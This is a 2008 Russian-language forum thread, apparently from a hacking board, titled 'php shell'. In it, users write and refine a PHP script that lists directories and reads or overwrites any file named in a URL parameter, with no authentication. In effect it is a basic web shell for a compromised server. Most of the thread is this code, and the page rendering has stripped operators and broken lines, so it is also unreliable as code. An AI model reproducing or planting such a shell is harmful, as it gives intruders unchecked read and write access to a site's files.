php shell

Discussion in 'PHP' started by lomerok, 21 May 2008.

  1. lomerok

    lomerok Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    140
    Likes Received:
    8
    Reputations:
    0
    Как подкоректировать этот скрипт чтобы он открывал папки ?

    PHP:
    <?php 
    $o
    =opendir('./');
    $op=$_GET['name'];
    print 
    "<center><table border=3><tr><td><h1>Select File</h1>";
    while (
    $r=readdir($o))
    {
    print 
    "<a href=\"?name=";
    print 
    $r;
    print 
    "\">$r</a>";
    print 
    "<br>";
    }
    print 
    "</td>";
    if (isset(
    $op))
    {
     print 
    "<td><h1>File Edit</h1> <form method=\"POST\">";
     print 
    "<br><br><textarea cols=\"50\" rows=\"20\" name=\"text\">";
     print 
    htmlspecialchars(file_get_contents($op));  
     print 
    "</textarea>";
     print 
    "<input type=\"submit\" value=\"OK\"></form></td></tr></table></center>";
     
    $ft=$_POST['text'];
     if(isset(
    $ft))
     {
      
    $fo=fopen($op,"w");
      
    fputs ($fo,$ft);
      die (
    "ok");
      
     }
    }
    ?>
     
    #1 lomerok, 21 May 2008
    Last edited: 21 May 2008
  2. Naydav

    Naydav Elder - Старейшина

    Joined:
    30 Dec 2006
    Messages:
    439
    Likes Received:
    63
    Reputations:
    4
    PHP:
        function getFileInDir($path)
        {
            
    $handle opendir($path);
            if(
    $path!='./')$path .= "/";        
            while (
    false !== ($file readdir($handle)))
                
    $out .= '<a href="?name=' $path $file '">' $file '</a></br>' .  "\n";
            return 
    $out;
        }
            
            
    $object = isset($_GET['name']) ? $_GET['name'] : './';
            
            if(
    is_dir($object))
            {
                echo 
    getFileInDir($object);
            }
            else
            {
                echo 
    htmlspecialchars(file_get_contents($object)); 
            }
    Просто выводит контент, ареа и таблицы добавь сам
     
    #2 Naydav, 21 May 2008
    Last edited: 21 May 2008
  3. Naydav

    Naydav Elder - Старейшина

    Joined:
    30 Dec 2006
    Messages:
    439
    Likes Received:
    63
    Reputations:
    4
    PHP:
        function getFileInDir($path)
        {
            
    $handle opendir($path);
            if(
    $path!='./')$path .= "/";                            
            while (
    false !== ($file readdir($handle)))
                
    $out .= '<a href="?name=' $path $file '">' $file '</a></br>' .  "\n";
            return 
    $out;
        }
            
            echo 
    "<center>
                    <table border=3 width=\"100%\">
                      <tr>"
    ;
                
            
    $object = isset($_GET['name']) ? $_GET['name'] : './';        
            if(
    is_dir($object))
                echo 
    '<td width="200"><h1>Select Edit</h1>' getFileInDir($object) . '</td><td>&nbsp;</td>';
                            
            else
                echo 
    '
                     <td width="200"><a href="javascript:history.go(-1);">Cancel</a></td>
                     <td><h1>File Edit</h1>               
                        <form method="POST">
                          <textarea cols="50" rows="20" name="text">' 
    htmlspecialchars(file_get_contents($object)) . '</textarea>
                          <input type="submit" value="OK">
                        </form>
                      </td>'
    ;        
                
                echo 
    '</tr>
                   </table>
                   </center>'
    ;
     
  4. lomerok

    lomerok Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    140
    Likes Received:
    8
    Reputations:
    0
    что означает знак вопроса в php ???
     
  5. Naydav

    Naydav Elder - Старейшина

    Joined:
    30 Dec 2006
    Messages:
    439
    Likes Received:
    63
    Reputations:
    4
    1) Пожалуйста :)
    2) "?" в случае $object = isset($_GET['name']) ? $_GET['name'] : './';
    Это сокращенно от

    Не будешь спрашивать, почему нет фигурных скобок? :)